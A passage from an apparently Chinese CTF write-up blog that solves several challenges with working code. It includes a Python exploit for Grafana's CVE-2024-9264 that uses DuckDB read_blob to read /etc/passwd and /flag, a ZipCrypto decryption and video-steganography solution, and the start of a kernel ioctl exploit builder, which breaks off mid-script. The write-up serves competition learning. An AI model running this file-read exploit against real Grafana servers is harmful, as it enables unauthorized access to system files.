<span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;from&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;ms时间戳&gt;&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;to&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&lt;ms时间戳&gt;&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>洞本身的利用动作很短。既然底层是 DuckDB，就先用文件读取函数做验证。最稳的是先读一把 <code>/etc/passwd</code>，确认 SQL 确实不是“看起来能执行、实际上被中间层吃掉”，而是真的落到了 DuckDB 文件函数上。确认这一步通了以后，再直接把目标切到 <code>/flag</code>：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> content <span class="keyword">FROM</span> read_blob(<span class="string">&#x27;/flag&#x27;</span>)</span><br></pre></td></tr></table></figure><p>整条链整理成脚本就是下面这样：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">BASE = <span class="string">&quot;http://175.27.251.122:10025&quot;</span></span><br><span class="line">s = requests.Session()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 先拿 editor 登录态</span></span><br><span class="line">s.post(</span><br><span class="line">    <span class="string">f&quot;<span class="subst">&#123;BASE&#125;</span>/api/login&quot;</span>,</span><br><span class="line">    json=&#123;<span class="string">&quot;username&quot;</span>: <span class="string">&quot;editor&quot;</span>, <span class="string">&quot;password&quot;</span>: <span class="string">&quot;editor123&quot;</span>&#125;,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">payload = &#123;</span><br><span class="line">    <span class="string">&quot;queries&quot;</span>: [&#123;</span><br><span class="line">        <span class="string">&quot;refId&quot;</span>: <span class="string">&quot;B&quot;</span>,</span><br><span class="line">        <span class="string">&quot;datasource&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;expr&quot;</span>, <span class="string">&quot;uid&quot;</span>: <span class="string">&quot;expr&quot;</span>, <span class="string">&quot;name&quot;</span>: <span class="string">&quot;Expression&quot;</span>&#125;,</span><br><span class="line">        <span class="string">&quot;type&quot;</span>: <span class="string">&quot;sql&quot;</span>,</span><br><span class="line">        <span class="string">&quot;hide&quot;</span>: <span class="literal">False</span>,</span><br><span class="line">        <span class="string">&quot;expression&quot;</span>: <span class="string">&quot;SELECT content FROM read_blob(&#x27;/flag&#x27;)&quot;</span>,</span><br><span class="line">        <span class="string">&quot;window&quot;</span>: <span class="string">&quot;&quot;</span></span><br><span class="line">    &#125;],</span><br><span class="line">    <span class="string">&quot;from&quot;</span>: <span class="built_in">str</span>(<span class="built_in">int</span>(time.time() * <span class="number">1000</span>) - <span class="number">86400000</span>),</span><br><span class="line">    <span class="string">&quot;to&quot;</span>: <span class="built_in">str</span>(<span class="built_in">int</span>(time.time() * <span class="number">1000</span>))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">r = s.post(</span><br><span class="line">    <span class="string">f&quot;<span class="subst">&#123;BASE&#125;</span>/api/ds/query?ds_type=expr&amp;expression=true&amp;requestId=Q100&quot;</span>,</span><br><span class="line">    json=payload,</span><br><span class="line">)</span><br><span class="line">data = r.json()</span><br><span class="line">flag = data[<span class="string">&quot;results&quot;</span>][<span class="string">&quot;B&quot;</span>][<span class="string">&quot;frames&quot;</span>][<span class="number">0</span>][<span class="string">&quot;data&quot;</span>][<span class="string">&quot;values&quot;</span>][<span class="number">0</span>][<span class="number">0</span>].strip()</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>如果想把“验证洞存在”和“正式读 flag”分开，第一轮可以先把 <code>expression</code> 改成：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> content <span class="keyword">FROM</span> read_blob(<span class="string">&#x27;/etc/passwd&#x27;</span>)</span><br></pre></td></tr></table></figure><p>只要回包里已经能把文件内容带出来，就说明整个链已经打通了：</p><ol><li>登录态有效；</li><li>真实入口找对了，是 <code>/api/ds/query</code> 而不是页面上的假接口；</li><li>SQL Expressions 的输入确实被原样交给 DuckDB；</li><li><code>read_blob()</code> 确实能直接读本地文件。</li></ol><p>最后再切回 <code>/flag</code>，从返回 JSON 里按这条路径把值抠出来：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">data[<span class="string">&quot;results&quot;</span>][<span class="string">&quot;B&quot;</span>][<span class="string">&quot;frames&quot;</span>][<span class="number">0</span>][<span class="string">&quot;data&quot;</span>][<span class="string">&quot;values&quot;</span>][<span class="number">0</span>][<span class="number">0</span>]</span><br></pre></td></tr></table></figure><p>这题收得很干脆，没有第二层绕过，也不需要提权。真正容易走偏的地方只有两个：</p><ol><li>没先联想到 <code>CVE-2024-9264</code>，会把它当普通 Grafana 仿站；</li><li>被 <code>/api/run-expression</code> 这个假接口拖住，没去打真正的 <code>/api/ds/query</code>。</li></ol><p>只要把这两处踩准，后面就是标准 DuckDB 文件读取，直接把 <code>/flag</code> 拉出来。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;R247_G2afana_RRRR@@@@####123&#125;</span><br></pre></td></tr></table></figure><h2 id="Cake"><a href="#Cake" class="headerlink" title="Cake"></a>Cake</h2><ul><li>类型：Misc</li><li>得分：475</li><li>时间：06&#x2F;06 13:23:31</li></ul><p>这题一开始就很像双层结构。解压附件后只有两个东西：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cake_base.bin</span><br><span class="line">cake_knife.txt</span><br></pre></td></tr></table></figure><p><code>cake_knife.txt</code> 里面正好是三组 32 位十六进制数：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0xb47e923c</span><br><span class="line">0x5aeb49a7</span><br><span class="line">0xa3cd7af0</span><br></pre></td></tr></table></figure><p>这个形状太像 PKZIP 传统加密 <code>ZipCrypto</code> 的 <code>key0 / key1 / key2</code> 了，所以第一层我没有去猜密码，而是直接把这三组数当 raw key，按 ZipCrypto 的 keystream 公式硬解 <code>cake_base.bin</code>。</p><p>第一层脚本的核心就是这段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line">POLY = <span class="number">0xEDB88320</span></span><br><span class="line">crc_table = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">    c = i</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">        c = (c &gt;&gt; <span class="number">1</span>) ^ POLY <span class="keyword">if</span> c &amp; <span class="number">1</span> <span class="keyword">else</span> c &gt;&gt; <span class="number">1</span></span><br><span class="line">    crc_table.append(c &amp; <span class="number">0xffffffff</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">crc32_update</span>(<span class="params">crc: <span class="built_in">int</span>, b: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">return</span> (crc_table[(crc ^ b) &amp; <span class="number">0xff</span>] ^ (crc &gt;&gt; <span class="number">8</span>)) &amp; <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">update_keys</span>(<span class="params">k0, k1, k2, p</span>):</span><br><span class="line">    k0 = crc32_update(k0, p)</span><br><span class="line">    k1 = (k1 + (k0 &amp; <span class="number">0xff</span>)) &amp; <span class="number">0xffffffff</span></span><br><span class="line">    k1 = (k1 * <span class="number">134775813</span> + <span class="number">1</span>) &amp; <span class="number">0xffffffff</span></span><br><span class="line">    k2 = crc32_update(k2, (k1 &gt;&gt; <span class="number">24</span>) &amp; <span class="number">0xff</span>)</span><br><span class="line">    <span class="keyword">return</span> k0, k1, k2</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">zipcrypto_decrypt</span>(<span class="params">data: <span class="built_in">bytes</span>, keys</span>):</span><br><span class="line">    k0, k1, k2 = keys</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> data:</span><br><span class="line">        t = (k2 | <span class="number">2</span>) &amp; <span class="number">0xffffffff</span></span><br><span class="line">        keystream = ((t * (t ^ <span class="number">1</span>)) &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xff</span></span><br><span class="line">        p = c ^ keystream</span><br><span class="line">        out.append(p)</span><br><span class="line">        k0, k1, k2 = update_keys(k0, k1, k2, p)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">keys = (<span class="number">0xb47e923c</span>, <span class="number">0x5aeb49a7</span>, <span class="number">0xa3cd7af0</span>)</span><br><span class="line">cipher = Path(<span class="string">&quot;cake_base.bin&quot;</span>).read_bytes()</span><br><span class="line">plain = zipcrypto_decrypt(cipher, keys)</span><br><span class="line"><span class="built_in">print</span>(plain[:<span class="number">4</span>])</span><br><span class="line">Path(<span class="string">&quot;cake_inner.zip&quot;</span>).write_bytes(plain)</span><br></pre></td></tr></table></figure><p>这里最直接的确认点就是前 4 字节。跑完输出是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b&#x27;PK\x03\x04&#x27;</span><br></pre></td></tr></table></figure><p>说明第一层完全走对，产物就是一个正常 ZIP。把 <code>cake_inner.zip</code> 解开后，关键文件有三个：</p><ul><li><code>fruit.bin</code></li><li><code>instruction.txt</code></li><li><code>scream.avi</code></li></ul><p><code>instruction.txt</code> 里有一长串 <code>passwd:</code>，<code>fruit.bin</code> 体积也不小，这两个都很像故意丢出来吸注意力的干扰。真正有信息量的是 <code>scream.avi</code>。先用 <code>ffprobe</code> 看视频信息，能确定它是固定帧数、固定分辨率的视频流，接下来就往“逐帧藏字”上查。</p><p>最关键的观察是：某个固定像素点在连续多帧里总是只有一个 RGB 通道非零，而且这个非零值刚好落在可打印 ASCII 范围。于是我没有手点视频，而是直接枚举所有帧里的异常像素，筛条件：</p><ol><li>恰好一个通道非零；</li><li>非零值在 <code>32~126</code>；</li><li>同一个坐标能从第 0 帧开始连续出现。</li></ol><p>用来扫视频的脚本核心是这段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> defaultdict</span><br><span class="line"><span class="keyword">import</span> cv2</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line">cap = cv2.VideoCapture(<span class="string">&quot;scream.avi&quot;</span>)</span><br><span class="line">coords = defaultdict(<span class="built_in">list</span>)</span><br><span class="line">frame_id = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    ok, bgr = cap.read()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> ok:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    rgb = bgr[:, :, ::-<span class="number">1</span>]</span><br><span class="line">    r = rgb[:, :, <span class="number">0</span>]</span><br><span class="line">    g = rgb[:, :, <span class="number">1</span>]</span><br><span class="line">    b = rgb[:, :, <span class="number">2</span>]</span><br><span class="line">    mask = (</span><br><span class="line">        ((r &gt;= <span class="number">32</span>) &amp; (r &lt;= <span class="number">126</span>) &amp; (g == <span class="number">0</span>) &amp; (b == <span class="number">0</span>)) |</span><br><span class="line">        ((g &gt;= <span class="number">32</span>) &amp; (g &lt;= <span class="number">126</span>) &amp; (r == <span class="number">0</span>) &amp; (b == <span class="number">0</span>)) |</span><br><span class="line">        ((b &gt;= <span class="number">32</span>) &amp; (b &lt;= <span class="number">126</span>) &amp; (r == <span class="number">0</span>) &amp; (g == <span class="number">0</span>))</span><br><span class="line">    )</span><br><span class="line">    ys, xs = np.where(mask)</span><br><span class="line">    <span class="keyword">for</span> y, x <span class="keyword">in</span> <span class="built_in">zip</span>(ys, xs):</span><br><span class="line">        pix = <span class="built_in">tuple</span>(<span class="built_in">int</span>(v) <span class="keyword">for</span> v <span class="keyword">in</span> rgb[y, x])</span><br><span class="line">        coords[(<span class="built_in">int</span>(x), <span class="built_in">int</span>(y))].append((frame_id, <span class="built_in">chr</span>(<span class="built_in">max</span>(pix)), pix))</span><br><span class="line">    frame_id += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (x, y), arr <span class="keyword">in</span> <span class="built_in">sorted</span>(coords.items(), key=<span class="keyword">lambda</span> item: -<span class="built_in">len</span>(item[<span class="number">1</span>])):</span><br><span class="line">    by_frame = &#123;i: (ch, pix) <span class="keyword">for</span> i, ch, pix <span class="keyword">in</span> arr&#125;</span><br><span class="line">    n = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> n <span class="keyword">in</span> by_frame:</span><br><span class="line">        n += <span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> n &gt;= <span class="number">5</span>:</span><br><span class="line">        text = <span class="string">&quot;&quot;</span>.join(by_frame[i][<span class="number">0</span>] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n))</span><br><span class="line">        <span class="built_in">print</span>(x, y, text)</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>扫出来的命中坐标就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">x = 123, y = 45</span><br></pre></td></tr></table></figure><p>再单独把这个坐标前 26 帧的 RGB 打出来，就很直观了：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">frame 00: RGB=(102, 0, 0) -&gt; &#x27;f&#x27;</span><br><span class="line">frame 01: RGB=(0, 108, 0) -&gt; &#x27;l&#x27;</span><br><span class="line">frame 02: RGB=(0, 0, 97) -&gt; &#x27;a&#x27;</span><br><span class="line">...</span><br><span class="line">frame 25: RGB=(0, 125, 0) -&gt; &#x27;&#125;&#x27;</span><br></pre></td></tr></table></figure><p>直接拼起来就是完整 flag。到这里就能确认第二层也不是“猜视频里可能有什么”，而是固定坐标逐帧读 ASCII。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;W0w_d3lici0us_c4ke!!&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL8"><a href="#pwner-LEVEL8" class="headerlink" title="pwner_LEVEL8"></a>pwner_LEVEL8</h2><ul><li>类型：Pwn</li><li>得分：254(+3%)</li><li>时间：06&#x2F;06 13:20:52</li></ul><p>这题真正要读的不是普通用户态缓冲区，而是驱动里那块全局 <code>g_blob</code>。默认路径只允许读前 <code>0x40</code> 字节，所以如果直接走设备原本的“正常读”逻辑，只会看到前半截；真正的 flag 被放在 <code>g_blob + 0x40</code>，必须先把驱动内部记录的读长度扩到 <code>0x80</code>。</p><p>本地分析完以后，思路被拆成两层：</p><ol><li>先本地生成一个最小 ELF，里面只做三件事：打开 <code>/dev/babyioctl</code>、连续打两个 <code>ioctl</code>、把读回来的 <code>0x80</code> 字节原样写到标准输出；</li><li>再把这个 ELF base64 化，丢到远端 QEMU 小系统里落地执行。</li></ol><p>先说本地 builder。真正生成 <code>exp</code> 和 <code>exp.b64</code> 的脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> keystone <span class="keyword">import</span> KS_ARCH_X86, KS_MODE_64, Ks</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">BASE = <span class="number">0x400000</span></span><br><span class="line">TEXT_OFF = <span class="number">0x100</span></span><br><span class="line">DATA_OFF = <span class="number">0x200</span></span><br><span class="line">ENTRY = BASE + TEXT_OFF</span><br><span class="line">DATA_VA = BASE + DATA_OFF</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_elf</span>(<span class="params">text: <span class="built_in">bytes</span>, data: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    data_start = DATA_OFF</span><br><span class="line">    file_size = data_start + <span class="built_in">len</span>(data)</span><br><span class="line"></span><br><span class="line">    elf_header = struct.pack(</span><br><span class="line">        <span class="string">&quot;&lt;16sHHIQQQIHHHHHH&quot;</span>,</span><br><span class="line">        <span class="string">b&quot;\x7fELF&quot;</span> + <span class="built_in">bytes</span>([<span class="number">2</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>]) + <span class="built_in">bytes</span>(<span class="number">8</span>),</span><br><span class="line">        <span class="number">2</span>, <span class="number">0x3E</span>, <span class="number">1</span>, ENTRY, <span class="number">64</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">64</span>, <span class="number">56</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    ph_load = struct.pack(</span><br><span class="line">        <span class="string">&quot;&lt;IIQQQQQQ&quot;</span>,</span><br><span class="line">        <span class="number">1</span>, <span class="number">7</span>, <span class="number">0</span>, BASE, BASE, file_size, file_size, <span class="number">0x1000</span>,</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    image = <span class="built_in">bytearray</span>()</span><br><span class="line">    image += elf_header</span><br><span class="line">    image += ph_load</span><br><span class="line">    image += <span class="string">b&quot;\x00&quot;</span> * (TEXT_OFF - <span class="built_in">len</span>(image))</span><br><span class="line">    image += text</span><br><span class="line">    image += <span class="string">b&quot;\x00&quot;</span> * (DATA_OFF - <span class="built_in">len</span>(image))</span><br><span class="line">    image += data</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(image)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    size_ptr = DATA_VA</span><br><span class="line">    buf_ptr_ptr = DATA_VA + <span class="number">8</span></span><br><span class="line">    dev_path = DATA_VA + <span class="number">0x10</span></span><br><span class="line">    buf = DATA_VA + <span class="number">0x20</span></span><br><span class="line">    newline = buf + <span class="number">0x80</span></span><br><span class="line"></span><br><span class="line">    asm = <span class="string">f&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        mov rax, 2</span></span><br><span class="line"><span class="string">        mov rdi, <span class="subst">&#123;dev_path&#125;</span></span></span><br><span class="line"><span class="string">        mov rsi, 2</span></span><br><span class="line"><span class="string">        xor rdx, rdx</span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov r12, rax</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov rax, 16</span></span><br><span class="line"><span class="string">        mov rdi, r12</span></span><br><span class="line"><span class="string">        mov rsi, 0x4008ba00</span></span><br><span class="line"><span class="string">        mov rdx, <span class="subst">&#123;size_ptr&#125;</span></span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov rax, 16</span></span><br><span class="line"><span class="string">        mov rdi, r12</span></span><br><span class="line"><span class="string">        mov rsi, 0x4008ba01</span></span><br><span class="line"><span class="string">        mov rdx, <span class="subst">&#123;buf_ptr_ptr&#125;</span></span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov rax, 1</span></span><br><span class="line"><span class="string">        mov rdi, 1</span></span><br><span class="line"><span class="string">        mov rsi, <span class="subst">&#123;buf&#125;</span></span></span><br><span class="line"><span class="string">        mov rdx, 0x80</span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov rax, 1</span></span><br><span class="line"><span class="string">        mov rdi, 1</span></span><br><span class="line"><span class="string">        mov rsi, <span class="subst">&#123;newline&#125;</span></span></span><br><span class="line"><span class="string">        mov rdx, 1</span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        mov rax, 60</span></span><br><span class="line"><span class="string">        xor rdi, rdi</span></span><br><span class="line"><span class="string">        syscall</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    ks = Ks(KS_ARCH_X86, KS_MODE_64)</span><br><span class="line">    text, _ = ks.asm(asm, as_bytes=<span class="literal">True</span>, addr=ENTRY)</span><br><span class="line"></span><br><span class="line">    data = <span class="built_in">bytearray</span>()</span><br><span class="line">    data += struct.pack(<span class="string">&quot;&lt;Q&quot;</span>, <span class="number">0x80</span>)</span><br><span class="line">    data += struct.pack(<span class="string">&quot;&lt;Q&quot;</span>, buf)</span><br><span class="line">    data += <span class="string">b&quot;/dev/babyioctl\x00&quot;</span></span><br><span class="line">    data += <span class="string">b&quot;\x00&quot;</span> * (<span class="number">0x20</span> - <span class="built_in">len</span>(data))</span><br><span class="line">    data += <span class="string">b&quot;\x00&quot;</span> * <span class="number">0x80</span></span><br><span class="line">    data += <span class="string">b&quot;\n&quot;</span></span><br><span class="line"></span><br><span class="line">    elf = build_elf(<span class="built_in">bytes</span>(text), <span class="built_in">bytes</span>(data))</span><br><span class="line"></span><br><span class="line">    out_dir = Path(__file__).resolve().parent</span><br><span class="line">    (out_dir / <span class="string">&quot;exp&quot;</span>).write_bytes(elf)</span><br><span class="line">    (out_dir / <span class="string">&quot;exp.b64&quot;</span>).write_text(base64.b64encode(elf).decode(), encoding=<span class="string">&quot;ascii&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>这段 builder 里真正关键的地方就是这两个 <code>ioctl</code> 常量：</p><ul><li><code>0x4008ba00</code>：把驱动内部读长度改成 <code>0x80</code></li><li><code>0x4008ba01</code>：把整块 <code>g_blob</code> 指向的内容拷回用户态</li></ul><p>把 ELF 造出来以后，再发远程。远程因为是起 kernel + rootfs，最稳的办法不是一条条手敲，而是先等待它真正启动到 <code>ctf$ </code>，再把 base64 过的 ELF 落到 <code>/tmp/exp</code>。最终提交脚本就是下面这份：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span 